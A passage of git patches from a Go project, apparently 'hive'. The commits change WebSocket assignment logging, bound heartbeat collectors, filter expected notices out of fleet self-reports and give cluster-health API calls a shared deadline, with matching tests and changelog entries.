<andy@clubanderson.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- README.md | 1 + 1 file changed, 1 insertion(+) diff --git a/README.md b/README.md index 47beaaf13e..dc1b28f306 100644 --- a/README.md +++ b/README.md @@ -16,6 +16,7 @@ <p align="center"> <a href="https://www.twitch.tv/hivecommons"><img src="https://img.shields.io/twitch/status/hivecommons?style=flat&logo=twitch&label=live" alt="Watch the hive live on Twitch"></a> + <a href="https://app.fossa.com/projects/custom%2B162%2Fhivecommons%2Fhive?ref=badge_shield&issueType=license"><img src="https://app.fossa.com/api/projects/custom%2B162%2Fhivecommons%2Fhive.svg?type=shield&issueType=license" alt="FOSSA license scan status"></a> </p> --- From 22051ec90e39b59e76cae491c9b694ebc03211c8 Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Tue, 3 Nov 2026 19:29:46 -0700 Subject: [PATCH 29/87] =?UTF-8?q?=F0=9F=90=9B=20fix(contribute):=20classif?= =?UTF-8?q?y=20assignment=20close=20race=20as=20expected=20teardown=20(#16?= =?UTF-8?q?503)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Keep rolling back undelivered claims while logging ErrCloseSent at INFO. Preserve warnings for other send failures and cover both paths with rollback and reassignment regression assertions. Hive-Run: hivecommons/hive#16496 Hive-Plan: assignment-close-race Hive-Spec: hivecommons/hive/issues/16496#evidence Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> --- .../fixed-16496-assignment-close-race.md | 1 + .../contribute_select_lock_scope_test.go | 113 ++++++++++++------ src/pkg/dashboard/contribute_ws.go | 8 +- 3 files changed, 84 insertions(+), 38 deletions(-) create mode 100644 changelog.d/fixed-16496-assignment-close-race.md diff --git a/changelog.d/fixed-16496-assignment-close-race.md b/changelog.d/fixed-16496-assignment-close-race.md new file mode 100644 index 0000000000..06214e5383 --- /dev/null +++ b/changelog.d/fixed-16496-assignment-close-race.md @@ -0,0 +1 @@ +- Contributor assignments that race with an already-sent WebSocket close frame still release their undelivered claim, but now log at INFO instead of triggering repeated-error self-reports. diff --git a/src/pkg/dashboard/contribute_select_lock_scope_test.go b/src/pkg/dashboard/contribute_select_lock_scope_test.go index 0a521c3ccd..c2fe817c7f 100644 --- a/src/pkg/dashboard/contribute_select_lock_scope_test.go +++ b/src/pkg/dashboard/contribute_select_lock_scope_test.go @@ -11,10 +11,12 @@ import ( "net/http/httptest" "os" "path/filepath" + "strings" "sync" "testing" "time" + "github.com/gorilla/websocket" ghpkg "github.com/hivecommons/hive/pkg/github" ) @@ -225,47 +227,84 @@ func TestSelectTask_MintFailureRollsBackClaim(t *testing.T) { // disconnect path finds no task to "release" and books no cooldown on an issue // the contributor never saw, and no rate slot or lease is spent on it. func TestHandleReady_SendFailureRollsBackClaim(t *testing.T) { - hub, s := covK2Hub(t) - oneActionableIssue(s) - s.deps.GHAppAuth = newSucceedingAppAuth(t, "ghs_7775_dead_socket") + for _, tc := range []struct { + name string + closeSent bool + level string + }{ + {name: "close frame already sent", closeSent: true, level: "INFO"}, + {name: "other write failure", level: "WARN"}, + } { + t.Run(tc.name, func(t *testing.T) { + hub, s := covK2Hub(t) + var logs lockedBuffer + hub.logger = slog.New(slog.NewTextHandler(&logs, nil)) + oneActionableIssue(s) + s.deps.GHAppAuth = newSucceedingAppAuth(t, "ghs_7775_dead_socket") - server, client := wsPipe(t) - conn := lockScopeConn(hub, "erin", "c-erin") - conn.ws = server - // The peer is gone and the hub's own side is closed β€” the shape the - // heartbeat loop leaves behind after a missed pong. - client.Close() - server.Close() + server, client := wsPipe(t) + t.Cleanup(func() { server.Close() }) + conn := lockScopeConn(hub, "erin", "c-erin") + conn.ws = server + if tc.closeSent { + // Leave TCP open after sending Close so the next data write returns + // gorilla's ErrCloseSent, matching the #16496 diagnostics. + if err := server.WriteControl(websocket.CloseMessage, + websocket.FormatCloseMessage(websocket.CloseNormalClosure, "closing"), + time.Now().Add(time.Second)); err != nil { + t.Fatal(err) + } + } else { + // Other write failures must retain warning visibility. + client.Close() + server.Close() + } - sess := &wsSession{h: hub, conn: server, contributor: conn} - if stop := sess.handleReady(WSMessage{Type: "ready", Seq: 1}); !stop { - t.Fatalf("a failed task_assign send must stop the session") - } + sess := &wsSession{h: hub, conn: server, contributor: conn} + if stop := sess.handleReady(WSMessage{Type: "ready", Seq: 1}); !stop { + t.Fatalf("a failed task_assign send must stop the session") + } - conn.mu.Lock() - task := conn.currentTask - conn.mu.Unlock() - if task != nil { - t.Fatalf("#7775: an assignment whose task_assign never left the hub was left on the dead connection: %+v", task) - } - if got := len(hub.leases); got != 0 { - t.Fatalf("#7775: a lease survived the undeliverable assignment: %d lease(s)", got) - } - if hour, day := hub.rateWindowCounts(identityOf(conn), time.Now()); hour != 0 || day != 0 { - t.Fatalf("#7775: the undeliverable assignment still occupies a rate-window slot: hour=%d day=%d", hour, day) - } + var failureLine string + for _, line := range strings.Split(logs.String(), "\n") { + if strings.Contains(line, "failed to send task_assign; releasing the undelivered claim") { + failureLine = line + break + } + } + if !strings.Contains(failureLine, "level="+tc.level) || !strings.Contains(failureLine, "task=") || !strings.Contains(failureLine, "error=") { + t.Fatalf("want %s assignment failure with task and error details, got: %s", tc.level, logs.String()) + } + if tc.closeSent && !strings.Contains(failureLine, websocket.ErrCloseSent.Error()) { + t.Fatalf("expected ErrCloseSent, got: %s", failureLine) + } - // releaseOnDisconnect now runs, as it does for every socket that closes. It - // must find nothing to release: no cooldown on #101, and the issue offerable - // to the next contributor at once. - sess.releaseOnDisconnect() - if hub.isTaskInFailureCooldown("myorg/repo1", 101) { - t.Fatalf("#7775: the disconnect path booked a release cooldown on an issue the contributor never received") - } - next := lockScopeConn(hub, "frank", "c-frank") - again := hub.selectTask(next) - if again == nil || again.Type != "task_assign" || again.Number != 101 { - t.Fatalf("the issue must be offerable again after the undeliverable assignment, got %+v", again) + conn.mu.Lock() + task := conn.currentTask + conn.mu.Unlock() + if task != nil { + t.Fatalf("#7775: an assignment whose task_assign never left the hub was left on the dead connection: %+v", task) + } + if got := len(hub.leases); got != 0 { + t.Fatalf("#7775: a lease survived the undeliverable assignment: %d lease(s)", got) + } + if hour, day := hub.rateWindowCounts(identityOf(conn), time.Now()); hour != 0 || day != 0 { + t.Fatalf("#7775: the undeliverable assignment still occupies a rate-window slot: hour=%d day=%d", hour, day) + } + + // releaseOnDisconnect now runs, as it does for every socket that closes. It + // must find nothing to release: no cooldown on #101, and the issue offerable + // to the next contributor at once. + sess.releaseOnDisconnect() + if hub.isTaskInFailureCooldown("myorg/repo1", 101) { + t.Fatalf("#7775: the disconnect path booked a release cooldown on an issue the contributor never received") + } + next := lockScopeConn(hub, "frank", "c-frank") + again := hub.selectTask(next) + if again == nil || again.Type != "task_assign" || again.Number != 101 { + t.Fatalf("the issue must be offerable again after the undeliverable assignment, got %+v", again) + } + }) } } diff --git a/src/pkg/dashboard/contribute_ws.go b/src/pkg/dashboard/contribute_ws.go index ac3c8941d3..1dc59273de 100644 --- a/src/pkg/dashboard/contribute_ws.go +++ b/src/pkg/dashboard/contribute_ws.go @@ -3329,7 +3329,13 @@ func (s *wsSession) handleReady(msg WSMessage) (stop bool) { // the disconnect path finds nothing to release: no release cooldown // on an issue the contributor never received, no lease left to // expire, no rate-window slot spent on a task that never shipped. - h.logger.Warn("[contribute-ws] failed to send task_assign; releasing the undelivered claim", "error", err, "task", task.TaskID) + // A Close frame can win the race with selection's GitHub calls. + // ErrCloseSent is then expected teardown, not a hub defect (#16496). + level := slog.LevelWarn + if errors.Is(err, websocket.ErrCloseSent) { + level = slog.LevelInfo + } + h.logger.Log(context.Background(), level, "[contribute-ws] failed to send task_assign; releasing the undelivered claim", "error", err, "task", task.TaskID) h.rollbackAssignment(s.contributor, task.TaskID) return true } From 9182901d334198d1bcf8206b2179b9777e1d3286 Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Tue, 3 Nov 2026 19:35:37 -0700 Subject: [PATCH 30/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20bound=20heartbeat?= =?UTF-8?q?=20collectors=20after=20timeouts=20(#16508)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Keep one active full collector and fresh-stats collector per heartbeat loop so repeated timeouts cannot accumulate blocked work. Include slow section timings in the original warning captured by fleet self-reports. Hive-Run: hivecommons/hive#16504 Hive-Plan: heartbeat-collection-containment Hive-Spec: hivecommons/hive#16504#collect-timeout Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> --- changelog.d/fixed-16504-heartbeat-collect.md | 1 + src/pkg/hub/spoke/heartbeat.go | 10 +- src/pkg/hub/spoke/heartbeat_collect_guard.go | 18 ++++ .../hub/spoke/heartbeat_collect_guard_test.go | 98 +++++++++++++++++++ .../spoke/heartbeat_collect_timing_test.go | 6 ++ 5 files changed, 132 insertions(+), 1 deletion(-) create mode 100644 changelog.d/fixed-16504-heartbeat-collect.md create mode 100644 src/pkg/hub/spoke/heartbeat_collect_guard.go create mode 100644 src/pkg/hub/spoke/heartbeat_collect_guard_test.go diff --git a/changelog.d/fixed-16504-heartbeat-collect.md b/changelog.d/fixed-16504-heartbeat-collect.md new file mode 100644 index 0000000000..72240674c6 --- /dev/null +++ b/changelog.d/fixed-16504-heartbeat-collect.md @@ -0,0 +1 @@ +- Heartbeat loops no longer accumulate blocked full or fresh-stats collectors after repeated collection timeouts; fallback liveness beats continue, and timeout self-reports include the slowest collector sections. diff --git a/src/pkg/hub/spoke/heartbeat.go b/src/pkg/hub/spoke/heartbeat.go index 00bf3f9225..f9c57a345d 100644 --- a/src/pkg/hub/spoke/heartbeat.go +++ b/src/pkg/hub/spoke/heartbeat.go @@ -1424,6 +1424,13 @@ func StartHeartbeat(ctx context.Context, hubURL string, collect StatusCollector, } } + // A timeout cannot cancel a collector blocked on a mutex or NFS. Keep + // subsequent beats from starting more copies of that same blocked work. + collect = nonOverlappingHeartbeatCollector(collect) + if freshCollect != nil { + freshCollect = FreshStatusCollector(nonOverlappingHeartbeatCollector(StatusCollector(freshCollect))) + } + logger.Info("hub heartbeat enabled", "url", hubURL, "interval", interval) waitForReady(ctx, logger) @@ -1952,7 +1959,8 @@ func collectWithTimeout(ctx context.Context, collect StatusCollector, timeout ti // outcome. Here we only note the timeout itself, then name the // sections that consumed the budget. logger.Warn("hub heartbeat collect timed out; loop keeps ticking so liveness stays green", - "timeout", timeout.String()) + "timeout", timeout.String(), + "slowest", timings.summary(collectTimingTopN)) logCollectTimeoutBreakdown(logger, timings, timeout) } return nil diff --git a/src/pkg/hub/spoke/heartbeat_collect_guard.go b/src/pkg/hub/spoke/heartbeat_collect_guard.go new file mode 100644 index 0000000000..99e308fe35 --- /dev/null +++ b/src/pkg/hub/spoke/heartbeat_collect_guard.go @@ -0,0 +1,18 @@ +package spoke + +import "sync" + +// nonOverlappingHeartbeatCollector bounds a loop to one active invocation of +// this collector, including invocations that outlive collectWithTimeout. Busy +// beats return nil immediately and use sendHeartbeat's stale/minimal fallback. +// The lock belongs to the loop, not to process-global test or payload state. +func nonOverlappingHeartbeatCollector(collect StatusCollector) StatusCollector { + var active sync.Mutex + return func() *HeartbeatPayload { + if !active.TryLock() { + return nil + } + defer active.Unlock() // also release when the timeout helper recovers a panic + return collect() + } +} diff --git a/src/pkg/hub/spoke/heartbeat_collect_guard_test.go b/src/pkg/hub/spoke/heartbeat_collect_guard_test.go new file mode 100644 index 0000000000..477e133d72 --- /dev/null +++ b/src/pkg/hub/spoke/heartbeat_collect_guard_test.go @@ -0,0 +1,98 @@ +package spoke + +import ( + "context" + "sync" + "sync/atomic" + "testing" + "time" +) + +func TestNonOverlappingHeartbeatCollector_TimeoutRetryAndRecovery(t *testing.T) { + ResetHeartbeatStateForTest() + t.Cleanup(ResetHeartbeatStateForTest) + var calls atomic.Int32 + release := make(chan struct{}) + var releaseOnce sync.Once + unblock := func() { releaseOnce.Do(func() { close(release) }) } + t.Cleanup(unblock) + collect := nonOverlappingHeartbeatCollector(func() *HeartbeatPayload { + calls.Add(1) + <-release + return &HeartbeatPayload{HiveID: "recovered"} + }) + + if got := collectWithTimeout(context.Background(), collect, 20*time.Millisecond, nil2Logger()); got != nil { + t.Fatalf("blocked collect returned %+v", got) + } + // Repeated beats must be able to fall back without queuing more work on + // the stuck dependency. Without the guard each call starts another copy. + for i := 0; i < 5; i++ { + if got := collectWithTimeout(context.Background(), collect, 20*time.Millisecond, nil2Logger()); got != nil { + t.Fatalf("busy collect returned %+v", got) + } + } + if got := calls.Load(); got != 1 { + t.Fatalf("started %d collectors while blocked, want 1", got) + } + + unblock() + // A late full payload still becomes last-good. Seeing the cache also + // proves the guard's lock was released before attempting a fresh collect. + deadline := time.NewTimer(2 * time.Second) + defer deadline.Stop() + tick := time.NewTicker(time.Millisecond) + defer tick.Stop() + for loadLastGoodPayload() == nil { + select { + case <-deadline.C: + t.Fatal("late completion did not populate the fallback cache") + case <-tick.C: + } + } + if got := collectWithTimeout(context.Background(), collect, time.Second, nil2Logger()); got == nil || got.HiveID != "recovered" { + t.Fatalf("collect did not recover after blocker cleared: %+v", got) + } + if got := calls.Load(); got != 2 { + t.Fatalf("collector calls after recovery = %d, want 2", got) + } +} + +func TestNonOverlappingHeartbeatCollector_PanicReleasesGuard(t *testing.T) { + calls := 0 + collect := nonOverlappingHeartbeatCollector(func() *HeartbeatPayload { + calls++ + if calls == 1 { + panic("collector failed") + } + return &HeartbeatPayload{HiveID: "recovered"} + }) + if got := collectWithTimeout(context.Background(), collect, time.Second, nil2Logger()); got != nil { + t.Fatalf("panicking collect returned %+v", got) + } + if got := collectWithTimeout(context.Background(), collect, time.Second, nil2Logger()); got == nil { + t.Fatal("panic left collector permanently busy") + } +} + +func TestNonOverlappingHeartbeatCollector_FreshStatsStayBounded(t *testing.T) { + var calls atomic.Int32 + release := make(chan struct{}) + finished := make(chan struct{}) + var finishOnce sync.Once + collect := FreshStatusCollector(nonOverlappingHeartbeatCollector(func() *HeartbeatPayload { + calls.Add(1) + <-release + defer finishOnce.Do(func() { close(finished) }) + return nil + })) + t.Cleanup(func() { close(release); <-finished }) + for i := 0; i < 5; i++ { + if got := collectFreshStatsWithTimeout(context.Background(), collect, 20*time.Millisecond, nil2Logger()); got != nil { + t.Fatalf("blocked fresh-stats collect returned %+v", got) + } + } + if got := calls.Load(); got != 1 { + t.Fatalf("started %d fresh-stats collectors while blocked, want 1", got) + } +} diff --git a/src/pkg/hub/spoke/heartbeat_collect_timing_test.go b/src/pkg/hub/spoke/heartbeat_collect_timing_test.go index 232af1f62d..58559d925e 100644 --- a/src/pkg/hub/spoke/heartbeat_collect_timing_test.go +++ b/src/pkg/hub/spoke/heartbeat_collect_timing_test.go @@ -126,6 +126,12 @@ func TestCollectWithTimeout_LogsSlowestSectionsOnTimeout(t *testing.T) { mu.Lock() out := buf.String() mu.Unlock() + // Self-report captures attributes from the original timeout record, not + // the separate breakdown record. Keep the culprit on that first warning. + first, _, _ := strings.Cut(out, "\n") + if !strings.Contains(first, "collect timed out;") || !strings.Contains(first, "evidence=") || !strings.Contains(first, "(in-flight)") { + t.Fatalf("timeout warning lacks the in-flight section: %s", first) + } if !strings.Contains(out, "slowest collectors") || !strings.Contains(out, "evidence=") || !strings.Contains(out, "(in-flight)") { t.Fatalf("timeout log lacks the per-section breakdown naming the in-flight collector:\n%s", out) } From 1d6516d4ebd8c41954bade4444e1b7e4763f2e10 Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Tue, 3 Nov 2026 19:36:38 -0700 Subject: [PATCH 31/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20exclude=20expected?= =?UTF-8?q?=20rebase=20handoffs=20from=20fleet=20reports=20(#16512)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Treat only the bounded rebase loop handoff notice as benign, preserving local diagnostics and reports for other rebase failures. Hive-Run: hivecommons/hive#16510 Hive-Plan: rebase-exhaustion-selfreport Hive-Spec: hivecommons/hive#16510#expected-rebase-handoff Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> --- .../fixed-rebase-exhaustion-selfreport.md | 1 + src/pkg/fleetreport/fleetreport.go | 6 +++++ src/pkg/fleetreport/runtime_test.go | 20 +++++++++++++++ src/pkg/fleetreport/slogfeed/slogfeed_test.go | 25 +++++++++++++++++++ 4 files changed, 52 insertions(+) create mode 100644 changelog.d/fixed-rebase-exhaustion-selfreport.md diff --git a/changelog.d/fixed-rebase-exhaustion-selfreport.md b/changelog.d/fixed-rebase-exhaustion-selfreport.md new file mode 100644 index 0000000000..c78b920241 --- /dev/null +++ b/changelog.d/fixed-rebase-exhaustion-selfreport.md @@ -0,0 +1 @@ +- Stop filing fleet runtime self-reports for the expected handoff after rebase attempts are exhausted, while retaining the local warning and diagnostics ([#16510](https://github.com/hivecommons/hive/issues/16510)). diff --git a/src/pkg/fleetreport/fleetreport.go b/src/pkg/fleetreport/fleetreport.go index 79f64d1404..5306d87104 100644 --- a/src/pkg/fleetreport/fleetreport.go +++ b/src/pkg/fleetreport/fleetreport.go @@ -883,6 +883,12 @@ func IsGitHubUpstreamUnavailable(s string) bool { // exact-message exclusions matched in the function body below. func IsBenignMessage(msg string) bool { m := strings.ToLower(msg) + // The bounded rebase loop hands an unresolved conflict to a person after + // its attempt cap. Repeated polls of that same handoff are expected, not + // a runtime defect (#16510). Keep other rebase failures reportable. + if strings.TrimSpace(m) == "rebase attempts exhausted; leaving the conflict to a person" { + return true + } // A moved held branch requires fresh review: this is the hold guard // enforcing merge safety, not a runtime defect (#16100). Match only the // successful refusal; provenance, comment and re-hold failures stay reportable. diff --git a/src/pkg/fleetreport/runtime_test.go b/src/pkg/fleetreport/runtime_test.go index 4c07fcda78..d4970ead89 100644 --- a/src/pkg/fleetreport/runtime_test.go +++ b/src/pkg/fleetreport/runtime_test.go @@ -940,6 +940,26 @@ func TestIsBenignMessageInferenceModelNotConfigured(t *testing.T) { } } +func TestIsBenignMessageRebaseAttemptsExhausted(t *testing.T) { + for _, msg := range []string{ + "rebase attempts exhausted; leaving the conflict to a person", + " REBASE ATTEMPTS EXHAUSTED; LEAVING THE CONFLICT TO A PERSON ", + } { + if !IsBenignMessage(msg) { + t.Errorf("expected rebase handoff %q not benign", msg) + } + } + for _, msg := range []string{ + "rebase failed", + "rebase attempt state could not be persisted", + "review dispatch exhausted; holding PR for a human", + } { + if IsBenignMessage(msg) { + t.Errorf("failure %q wrongly benign", msg) + } + } +} + func TestIsBenignMessageKnowledgePrimerBytecap(t *testing.T) { const msg = "knowledge primer: dropped facts over the byte cap" if !IsBenignMessage(msg) { diff --git a/src/pkg/fleetreport/slogfeed/slogfeed_test.go b/src/pkg/fleetreport/slogfeed/slogfeed_test.go index c65fd23ce3..51cee5093d 100644 --- a/src/pkg/fleetreport/slogfeed/slogfeed_test.go +++ b/src/pkg/fleetreport/slogfeed/slogfeed_test.go @@ -64,6 +64,31 @@ func TestHandlerSkipsBenignAndExplicitClasses(t *testing.T) { } } +// #16510: polling an exhausted rebase episode must keep warning locally +// without turning the intentional handoff into a repeated runtime defect. +func TestRebaseAttemptsExhaustedLogsWithoutFleetReport(t *testing.T) { + logger, seen, out := newFeed(t) + const msg = "rebase attempts exhausted; leaving the conflict to a person" + for i := 0; i < 10; i++ { + logger.Warn(msg, "repo", "projectbluefin/fsdk-containers", "number", 491, + "head", "c0ad5df0927de888c373ccf9b5caead751ef9a6f", "attempts", 2, + "max", 2, "timed_out", 2, "mergeable_state", "dirty") + } + if len(*seen) != 0 { + t.Fatalf("expected rebase handoff produced observations: %+v", *seen) + } + if n := strings.Count(out.String(), "\n"); n != 10 { + t.Fatalf("wrapped handler saw %d records, want 10", n) + } + if !strings.Contains(out.String(), msg) || !strings.Contains(out.String(), `"timed_out":2`) { + t.Fatal("local logs lost the warning or its diagnostics") + } + logger.Warn("rebase failed", "error", "unexpected failure") + if len(*seen) != 1 || (*seen)[0].class != fleetreport.ClassUnclassifiedRepeated { + t.Fatalf("rebase failure must remain reportable: %+v", *seen) + } +} + func TestHandlerWithAttrsCarriesBoundAttrsIntoDiagnostics(t *testing.T) { logger, seen, _ := newFeed(t) logger.With("agent", "quality").WithGroup("req").Warn("ledger write failed", "path", "/data/x.json") From cd50e6a288b390a1d14a69bc24d96586312cc3df Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Tue, 3 Nov 2026 19:39:50 -0700 Subject: [PATCH 32/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20avoid=20duplicate?= =?UTF-8?q?=20selfreports=20for=20cached=20heartbeat=20fallback=20(#16511)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Keep the last-good cached stats warning in local logs without treating the liveness fallback as another runtime defect. Preserve fleet observations for the underlying collector timeout, slow-section breakdown, panics, and heartbeat failures. Hive-Run: hivecommons/hive#16507 Hive-Plan: heartbeat-cached-fallback Hive-Spec: hivecommons/hive#16507#cached-stats-fallback Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> --- .../fixed-16507-heartbeat-cached-fallback.md | 1 + src/pkg/fleetreport/slogfeed/slogfeed.go | 11 +++++- src/pkg/fleetreport/slogfeed/slogfeed_test.go | 37 +++++++++++++++++++ 3 files changed, 48 insertions(+), 1 deletion(-) create mode 100644 changelog.d/fixed-16507-heartbeat-cached-fallback.md diff --git a/changelog.d/fixed-16507-heartbeat-cached-fallback.md b/changelog.d/fixed-16507-heartbeat-cached-fallback.md new file mode 100644 index 0000000000..6cd7992bb9 --- /dev/null +++ b/changelog.d/fixed-16507-heartbeat-cached-fallback.md @@ -0,0 +1 @@ +- Stop filing duplicate unclassified self-reports for the hub heartbeat's last-good cached stats fallback; retain local warnings and fleet reporting of collector timeouts, slow collectors, and heartbeat failures ([#16507](https://github.com/hivecommons/hive/issues/16507)). diff --git a/src/pkg/fleetreport/slogfeed/slogfeed.go b/src/pkg/fleetreport/slogfeed/slogfeed.go index 82aaaecef0..65093656e1 100644 --- a/src/pkg/fleetreport/slogfeed/slogfeed.go +++ b/src/pkg/fleetreport/slogfeed/slogfeed.go @@ -114,7 +114,7 @@ func Key(msg string) string { } func (h *Handler) feed(r slog.Record) { - if expectedKickHold(r) || rateLimitedError(r) || upstreamUnavailableError(r) || failClosedStatus500(r) || hubHeartbeatUnavailable(r) || reviewCommentCapped(r) || inferenceBlockedStall(r) { + if expectedKickHold(r) || rateLimitedError(r) || upstreamUnavailableError(r) || failClosedStatus500(r) || hubHeartbeatUnavailable(r) || hubHeartbeatCachedFallback(r) || reviewCommentCapped(r) || inferenceBlockedStall(r) { return } class := fleetreport.ClassUnclassifiedRepeated @@ -257,6 +257,15 @@ func hubHeartbeatUnavailable(r slog.Record) bool { return match } +// hubHeartbeatCachedFallback is the outcome notice for a bounded collector +// timeout: sending stale stats is the liveness safeguard working as designed +// (#16507). Keep the WARN in local logs, but do not file a second defect for +// the fallback itself. The collector timeout and its slow-section breakdown, +// collector panics, and heartbeat send failures remain reportable. +func hubHeartbeatCachedFallback(r slog.Record) bool { + return strings.TrimSpace(r.Message) == "hub heartbeat collect timed out β€” sending LAST-GOOD cached stats (marked stale) so the hub keeps this hive online; loop keeps ticking so liveness stays green" +} + // reviewCommentCapped reports whether r is the review-request watcher noting // that the per-head review cap suppressed a duplicate comment while the // verdict was still recorded. That is the cap working as designed, not a diff --git a/src/pkg/fleetreport/slogfeed/slogfeed_test.go b/src/pkg/fleetreport/slogfeed/slogfeed_test.go index 51cee5093d..c316b5b12c 100644 --- a/src/pkg/fleetreport/slogfeed/slogfeed_test.go +++ b/src/pkg/fleetreport/slogfeed/slogfeed_test.go @@ -726,6 +726,43 @@ func TestHubHeartbeatUnavailableLogsWithoutFleetReport(t *testing.T) { } } +// #16507: using last-good stats after a bounded collect timeout is the +// liveness safeguard working, not another defect distinct from the timeout. +func TestHubHeartbeatCachedFallbackLogsWithoutFleetReport(t *testing.T) { + logger, seen, out := newFeed(t) + const msg = "hub heartbeat collect timed out β€” sending LAST-GOOD cached stats (marked stale) so the hub keeps this hive online; loop keeps ticking so liveness stays green" + for i := 0; i < 8; i++ { + logger.Warn(msg) + } + if len(*seen) != 0 { + t.Fatalf("cached fallback produced observations: %+v", *seen) + } + if n := strings.Count(out.String(), "\n"); n != 8 { + t.Errorf("wrapped handler saw %d records, want 8", n) + } + if !strings.Contains(out.String(), msg) { + t.Error("cached fallback warning missing from local logs") + } + + // Preserve the underlying timeout diagnostics and actual heartbeat failures. + for _, failure := range []string{ + "hub heartbeat collect timed out; loop keeps ticking so liveness stays green", + "hub heartbeat collect budget exceeded β€” slowest collectors (in-flight = still running at timeout)", + "hub heartbeat collect panicked", + "hub heartbeat fresh stats collect panicked", + "hub heartbeat failed", + "hub heartbeat rejected", + } { + t.Run(failure, func(t *testing.T) { + logger, seen, _ := newFeed(t) + logger.Warn(failure) + if len(*seen) != 1 || (*seen)[0].message != failure { + t.Fatalf("heartbeat failure must remain reportable: %+v", *seen) + } + }) + } +} + // #16100: branch drift is an expected safety refusal, even when an own-only // write-back gate leaves the snapshot in place and it repeats every poll. func TestHoldGuardDriftLogsWithoutFleetReport(t *testing.T) { From 7ac511d9c4be9fdf3e557901da0d5789d93ed665 Mon Sep 17 00:00:00 2001 From: thatguywob <revans.tech@icloud.com> Date: Tue, 3 Nov 2026 19:50:03 -0700 Subject: [PATCH 33/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20bound=20cluster=20h?= =?UTF-8?q?ealth=20collection=20within=20heartbeat=20budget=20(#16506)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Share a three-second context across cluster-health Kubernetes requests so slow nodes, metrics, or kubelet proxies return partial reports before the heartbeat collection deadline. Hive-Run: hivecommons/hive#16501 Hive-Plan: heartbeat-cluster-health-budget Hive-Spec: issue-16501#shared-collection-deadline Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- .../fixed-16501-cluster-health-budget.md | 1 + src/pkg/hub/spoke/cluster_metrics.go | 34 +++++-- .../hub/spoke/cluster_metrics_budget_test.go | 91 +++++++++++++++++++ 3 files changed, 119 insertions(+), 7 deletions(-) create mode 100644 changelog.d/fixed-16501-cluster-health-budget.md create mode 100644 src/pkg/hub/spoke/cluster_metrics_budget_test.go diff --git a/changelog.d/fixed-16501-cluster-health-budget.md b/changelog.d/fixed-16501-cluster-health-budget.md new file mode 100644 index 0000000000..f5276b7902 --- /dev/null +++ b/changelog.d/fixed-16501-cluster-health-budget.md @@ -0,0 +1 @@ +- Bound spoke cluster-health collection with a shared deadline so slow Kubernetes APIs return partial health reports without exhausting the hub heartbeat collection budget ([#16501](https://github.com/hivecommons/hive/issues/16501)). diff --git a/src/pkg/hub/spoke/cluster_metrics.go b/src/pkg/hub/spoke/cluster_metrics.go index fe5f1c98dc..aef70da225 100644 --- a/src/pkg/hub/spoke/cluster_metrics.go +++ b/src/pkg/hub/spoke/cluster_metrics.go @@ -31,10 +31,15 @@ const ( // before running kubectl again. Prevents running kubectl on every heartbeat. const metricsCollectionCacheTTL = 60 * time.Second -// metricsCollectionTimeout bounds how long we wait for each kubectl command -// during spoke-side metrics collection. +// metricsCollectionTimeout bounds individual Kubernetes API requests, including +// callers outside cluster-health collection. const metricsCollectionTimeout = 10 * time.Second +// clusterHealthCollectionTimeout is shared by all cluster-health API requests. +// Leave most of the heartbeat collect budget for its other collectors; granting +// every node proxy request a fresh timeout can otherwise stall many beats. +const clusterHealthCollectionTimeout = 3 * time.Second + // nodeHealthWarningInterval prevents a permanently missing/forbidden node API // from writing the same warning on every heartbeat. const nodeHealthWarningInterval = time.Hour @@ -75,9 +80,15 @@ func CollectClusterHealth(logger *slog.Logger) *HeartbeatClusterHealthReport { } func collectClusterHealthUncached(logger *slog.Logger) *HeartbeatClusterHealthReport { + ctx, cancel := context.WithTimeout(context.Background(), clusterHealthCollectionTimeout) + defer cancel() + return collectClusterHealthWithContext(ctx, logger) +} + +func collectClusterHealthWithContext(ctx context.Context, logger *slog.Logger) *HeartbeatClusterHealthReport { // Query nodes first. The core Node API has the capacity/allocatable data // needed for useful totals even when metrics-server is absent or forbidden. - getOut, err := k8sAPIGet("/api/v1/nodes") + getOut, err := k8sAPIGetWithContext(ctx, "/api/v1/nodes") if err != nil { reason := nodeHealthErrorReason("nodes API failed", err) logNodeHealthWarning(logger, reason) @@ -179,7 +190,7 @@ func collectClusterHealthUncached(logger *slog.Logger) *HeartbeatClusterHealthRe // the hub so the UI can tell operators exactly what to fix. metricsByNode := make(map[string]map[string]string) nodeHealthError := "" - topOut, err := k8sAPIGet("/apis/metrics.k8s.io/v1beta1/nodes") + topOut, err := k8sAPIGetWithContext(ctx, "/apis/metrics.k8s.io/v1beta1/nodes") if err != nil { nodeHealthError = nodeHealthErrorReason("metrics API failed", err) logNodeHealthWarning(logger, nodeHealthError) @@ -248,7 +259,7 @@ func collectClusterHealthUncached(logger *slog.Logger) *HeartbeatClusterHealthRe // The node object's ephemeral-storage capacity cannot tell us how full the // disk is. Best-effort per node: a failure leaves usage/percent nil while // retaining capacity above. - if rawStats, statsErr 